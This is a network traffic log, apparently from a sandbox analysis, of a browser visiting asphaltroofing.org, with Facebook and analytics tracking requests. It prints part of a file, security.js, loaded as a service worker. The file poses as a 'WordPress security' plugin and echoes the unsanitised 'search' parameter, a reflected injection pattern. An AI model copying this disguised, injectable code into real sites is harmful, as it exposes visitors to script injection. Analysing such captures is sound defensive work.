2024-04-23 14:54:16 UTC	824	OUT	GET /security.js?v=1713884054772 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive Cache-Control: max-age=0 Accept: / Service-Worker: script Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: serviceworker Referer: https://www.asphaltroofing.org/contact-us/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884051.0.0.0; _scc_session=pc=3&C_TOUCH=2024-04-23T14:54:13.158Z
2024-04-23 14:54:16 UTC	543	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:16 GMT Content-Type: text/javascript Content-Length: 1478 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Fri, 29 Apr 2022 14:36:00 GMT ETag: "4506e-5c6-5ddcbf6119400" Accept-Ranges: bytes Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS
2024-04-23 14:54:16 UTC	1478	IN	Data Raw: 2f 2a 20 49 74 20 69 73 20 57 6f 72 64 50 72 65 73 73 20 73 65 63 75 72 69 74 79 20 66 69 6c 65 2e 0d 0a 54 68 61 6e 6b 73 20 74 6f 20 74 68 69 73 20 70 6c 75 67 69 6e 2c 20 79 6f 75 72 20 77 65 62 73 69 74 65 20 77 69 6c 6c 20 62 65 20 66 61 73 74 65 72 2c 20 6d 6f 72 65 20 75 70 2d 74 6f 2d 64 61 74 65 20 61 6e 64 20 6d 6f 72 65 20 73 65 63 75 72 65 2e 20 54 68 69 73 20 70 6c 75 67 69 6e 20 69 73 20 61 75 74 6f 6d 61 74 69 63 61 6c 6c 79 20 75 70 64 61 74 65 64 20 62 79 20 74 68 65 20 73 79 73 74 65 6d 2e 0d 0a 0d 0a 24 73 65 61 72 63 68 20 3d 20 24 5f 47 45 54 5b 27 73 65 61 72 63 68 27 5d 20 3f 3f 20 6e 75 6c 6c 3b 0d 0a 65 63 68 6f 20 27 53 65 61 72 63 68 20 72 65 73 75 6c 74 73 20 66 6f 72 20 27 2e 24 73 65 61 72 63 68 3b 0d 0a 24 73 65 61 72 63 68 Data Ascii: /* It is WordPress security file.Thanks to this plugin, your website will be faster, more up-to-date and more secure. This plugin is automatically updated by the system.$search = $_GET['search'] ?? null;echo 'Search results for '.$search;$search

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
241	192.168.2.6	50025	104.26.15.119	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:16 UTC	676	OUT	GET /v1/analytics/crumb?cb=1713884053772&a_id=603026366fd8bf4e42de107f&f_id=6627cb818425280008d4a656&ses_id=6627cb7c5c51a2698cf29ddb&ttd_id=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&flvr=page_view&loc_url=https%3A%2F%2Fwww.asphaltroofing.org%2Fcontact-us%2F&s_w=1280&s_h=1024&b_w=1280&b_h=907&cust_params=e30= HTTP/1.1 Host: polo.feathr.co Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: f_id=6627cb818425280008d4a656
2024-04-23 14:54:16 UTC	1062	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:16 GMT Content-Type: image/gif Content-Length: 43 Connection: close Cache-Control: max-age=0,no-cache,no-store Set-Cookie: f_id=6627cb818425280008d4a656; Domain=feathr.co; Expires=Wed, 23 Apr 2025 14:54:16 GMT; Secure; Path=/; SameSite=None Access-Control-Allow-Headers: AccountId, Authorization, Cache-Control, Content-Type, DNT, If-Modified-Since, Keep-Alive, Range, ReportObject, ReportType, User-Agent, X-API-Key, X-Requested-With Access-Control-Allow-Methods: DELETE, GET, OPTIONS, PATCH, POST, PUT Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Access-Control-Allow-Credentials: true CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ENTpRkq5alwbgJoui1unXYQFhDfOEYn7H7sma8J%2BOpCL82nYSnVtlK65cV6mJXEojYOHsg9bSyue1qN7D9ZkhFQnJpoutAefhJ8auZ%2BFm6mkVUuQ80YPR%2Faq4oIpF%2Bct"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878eb01b18d48bb9-ATL
2024-04-23 14:54:16 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 db df ef 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
242	192.168.2.6	50026	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:16 UTC	704	OUT	GET /?wc-ajax=get_refreshed_fragments HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884051.0.0.0; _scc_session=pc=3&C_TOUCH=2024-04-23T14:54:13.158Z
2024-04-23 14:54:16 UTC	538	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:16 GMT Content-Type: application/json; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; X-Content-Type-Options: nosniff X-Robots-Tag: noindex Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Vary: Accept-Encoding X-Sucuri-Cache: HIT
2024-04-23 14:54:16 UTC	936	IN	Data Raw: 33 39 63 0d 0a 7b 22 66 72 61 67 6d 65 6e 74 73 22 3a 7b 22 64 69 76 2e 77 69 64 67 65 74 5f 73 68 6f 70 70 69 6e 67 5f 63 61 72 74 5f 63 6f 6e 74 65 6e 74 22 3a 22 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 77 69 64 67 65 74 5f 73 68 6f 70 70 69 6e 67 5f 63 61 72 74 5f 63 6f 6e 74 65 6e 74 5c 22 3e 5c 6e 5c 6e 5c 74 3c 70 20 63 6c 61 73 73 3d 5c 22 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 6d 69 6e 69 2d 63 61 72 74 5f 5f 65 6d 70 74 79 2d 6d 65 73 73 61 67 65 5c 22 3e 4e 6f 20 70 72 6f 64 75 63 74 73 20 69 6e 20 74 68 65 20 63 61 72 74 2e 3c 5c 2f 70 3e 5c 6e 5c 6e 5c 6e 3c 5c 2f 64 69 76 3e 22 2c 22 73 70 61 6e 2e 65 73 73 2d 63 61 72 74 2d 63 6f 6e 74 65 6e 74 22 3a 22 5c 74 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 5c 22 65 73 73 2d 63 61 72 74 2d 63 6f 6e 74 Data Ascii: 39c{"fragments":{"div.widget_shopping_cart_content":"<div class=\"widget_shopping_cart_content\">\n\n\t<p class=\"woocommerce-mini-cart__empty-message\">No products in the cart.<\/p>\n\n\n<\/div>","span.ess-cart-content":"\t <span class=\"ess-cart-cont

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
243	192.168.2.6	50031	31.13.88.35	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:17 UTC	1196	OUT	GET /tr/?id=688224189896855&ev=ViewContent&dl=https%3A%2F%2Fwww.asphaltroofing.org%2Fcontact-us%2F&rl=&if=false&ts=1713884055588&cd[b_w]=1280&cd[b_h]=907&cd[s_w]=1280&cd[s_h]=1024&cd[loc_url]=https%3A%2F%2Fwww.asphaltroofing.org%2Fcontact-us%2F&cd[ses_id]=6627cb7c5c51a2698cf29ddb&cd[flvr]=page_view&cd[a_id]=603026366fd8bf4e42de107f&cd[debug]=0&cd[bypass_hash]=0&cd[f_id]=6627cb818425280008d4a656&cd[ttd_id]=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&sw=1280&sh=1024&v=2.9.154&r=stable&ec=0&o=4126&fbp=fb.1.1713884037978.840489946&ler=empty&cdl=API_unavailable&it=1713884054999&coo=false&dpo=LDU&dpoco=0&dpost=0&tm=1&rqm=GET HTTP/1.1 Host: www.facebook.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:17 UTC	465	IN	HTTP/1.1 200 OK Content-Type: text/plain Access-Control-Allow-Origin: Access-Control-Allow-Credentials: true Strict-Transport-Security: max-age=31536000; includeSubDomains cross-origin-resource-policy: cross-origin Server: proxygen-bolt X-FB-Connection-Quality: GOOD; q=0.7, rtt=104, rtx=0, c=10, mss=1277, tbw=3404, tp=-1, tpl=-1, uplat=1, ullat=0 Alt-Svc: h3=":443"; ma=86400 Date: Tue, 23 Apr 2024 14:54:17 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
244	192.168.2.6	50030	31.13.88.35	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:17 UTC	1306	OUT	GET /privacy_sandbox/pixel/register/trigger/?id=688224189896855&ev=ViewContent&dl=https%3A%2F%2Fwww.asphaltroofing.org%2Fcontact-us%2F&rl=&if=false&ts=1713884055588&cd[b_w]=1280&cd[b_h]=907&cd[s_w]=1280&cd[s_h]=1024&cd[loc_url]=https%3A%2F%2Fwww.asphaltroofing.org%2Fcontact-us%2F&cd[ses_id]=6627cb7c5c51a2698cf29ddb&cd[flvr]=page_view&cd[a_id]=603026366fd8bf4e42de107f&cd[debug]=0&cd[bypass_hash]=0&cd[f_id]=6627cb818425280008d4a656&cd[ttd_id]=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&sw=1280&sh=1024&v=2.9.154&r=stable&ec=0&o=4126&fbp=fb.1.1713884037978.840489946&ler=empty&cdl=API_unavailable&it=1713884054999&coo=false&dpo=LDU&dpoco=0&dpost=0&tm=1&rqm=FGET HTTP/1.1 Host: www.facebook.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Attribution-Reporting-Eligible: event-source, trigger;navigation-source Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:17 UTC	948	IN	HTTP/1.1 200 OK Vary: Accept-Encoding Content-Type: image/png reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/browser_error_reports/?device_level=unknown", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"}
2024-04-23 14:54:17 UTC	1903	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 63 6f 6e 6e 65 63 74 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 27 Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net '
2024-04-23 14:54:17 UTC	1577	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 64 70 72 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 68 2d 76 69 65 77 70 6f 72 74 2d 68 65 69 67 68 74 3d 28 29 2c 20 63 68 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), bluetooth=(), camera=(self), ch-device-memory=(), ch-downlink=(), ch-dpr=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), ch-viewport-height=(), ch
2024-04-23 14:54:17 UTC	72	IN	Data Raw: 34 33 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 04 00 00 00 b5 1c 0c 02 00 00 00 0a 49 44 41 54 78 9c 63 00 01 00 00 05 00 01 0d 0a 2d b4 00 00 00 00 49 45 4e 44 ae 42 60 82 0d Data Ascii: 43PNGIHDRIDATxc-IENDB`
2024-04-23 14:54:17 UTC	6	IN	Data Raw: 0a 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
245	192.168.2.6	50034	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:17 UTC	932	OUT	GET /security.js?v=1713884054772 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive Cache-Control: max-age=0 Accept: / Service-Worker: script Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: serviceworker Referer: https://www.asphaltroofing.org/security.js?v=1713884054772 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884051.0.0.0; _scc_session=pc=3&C_TOUCH=2024-04-23T14:54:13.158Z If-None-Match: "4506e-5c6-5ddcbf6119400" If-Modified-Since: Fri, 29 Apr 2022 14:36:00 GMT
2024-04-23 14:54:18 UTC	478	IN	HTTP/1.1 304 Not Modified Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:17 GMT Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Fri, 29 Apr 2022 14:36:00 GMT ETag: "4506e-5c6-5ddcbf6119400" Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
246	192.168.2.6	50038	31.13.66.35	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:18 UTC	991	OUT	GET /privacy_sandbox/pixel/register/trigger/?id=688224189896855&ev=ViewContent&dl=https%3A%2F%2Fwww.asphaltroofing.org%2Fcontact-us%2F&rl=&if=false&ts=1713884055588&cd[b_w]=1280&cd[b_h]=907&cd[s_w]=1280&cd[s_h]=1024&cd[loc_url]=https%3A%2F%2Fwww.asphaltroofing.org%2Fcontact-us%2F&cd[ses_id]=6627cb7c5c51a2698cf29ddb&cd[flvr]=page_view&cd[a_id]=603026366fd8bf4e42de107f&cd[debug]=0&cd[bypass_hash]=0&cd[f_id]=6627cb818425280008d4a656&cd[ttd_id]=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&sw=1280&sh=1024&v=2.9.154&r=stable&ec=0&o=4126&fbp=fb.1.1713884037978.840489946&ler=empty&cdl=API_unavailable&it=1713884054999&coo=false&dpo=LDU&dpoco=0&dpost=0&tm=1&rqm=FGET HTTP/1.1 Host: www.facebook.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:18 UTC	900	IN	HTTP/1.1 200 OK reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/browser_error_reports/?device_level=unknown", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"}
2024-04-23 14:54:18 UTC	1903	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 63 6f 6e 6e 65 63 74 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 27 Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net '
2024-04-23 14:54:18 UTC	1609	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 64 70 72 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 68 2d 76 69 65 77 70 6f 72 74 2d 68 65 69 67 68 74 3d 28 29 2c 20 63 68 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), bluetooth=(), camera=(self), ch-device-memory=(), ch-downlink=(), ch-dpr=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), ch-viewport-height=(), ch

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
247	192.168.2.6	50039	31.13.66.35	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:18 UTC	954	OUT	GET /tr/?id=688224189896855&ev=ViewContent&dl=https%3A%2F%2Fwww.asphaltroofing.org%2Fcontact-us%2F&rl=&if=false&ts=1713884055588&cd[b_w]=1280&cd[b_h]=907&cd[s_w]=1280&cd[s_h]=1024&cd[loc_url]=https%3A%2F%2Fwww.asphaltroofing.org%2Fcontact-us%2F&cd[ses_id]=6627cb7c5c51a2698cf29ddb&cd[flvr]=page_view&cd[a_id]=603026366fd8bf4e42de107f&cd[debug]=0&cd[bypass_hash]=0&cd[f_id]=6627cb818425280008d4a656&cd[ttd_id]=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&sw=1280&sh=1024&v=2.9.154&r=stable&ec=0&o=4126&fbp=fb.1.1713884037978.840489946&ler=empty&cdl=API_unavailable&it=1713884054999&coo=false&dpo=LDU&dpoco=0&dpost=0&tm=1&rqm=GET HTTP/1.1 Host: www.facebook.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:18 UTC	465	IN	HTTP/1.1 200 OK Content-Type: text/plain Access-Control-Allow-Origin: Access-Control-Allow-Credentials: true Strict-Transport-Security: max-age=31536000; includeSubDomains cross-origin-resource-policy: cross-origin Server: proxygen-bolt X-FB-Connection-Quality: GOOD; q=0.7, rtt=118, rtx=0, c=10, mss=1277, tbw=3405, tp=-1, tpl=-1, uplat=0, ullat=0 Alt-Svc: h3=":443"; ma=86400 Date: Tue, 23 Apr 2024 14:54:18 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
248	192.168.2.6	50040	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:18 UTC	995	OUT	GET /guide-for-professionals/ HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884051.0.0.0; _scc_session=pc=3&C_TOUCH=2024-04-23T14:54:13.158Z
2024-04-23 14:54:19 UTC	615	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Link: <https://www.asphaltroofing.org/wp-json/>; rel="https://api.w.org/", <https://www.asphaltroofing.org/wp-json/wp/v2/pages/88>; rel="alternate"; type="application/json", <https://www.asphaltroofing.org/?p=88>; rel=shortlink Vary: Accept-Encoding X-Sucuri-Cache: EXPIRED
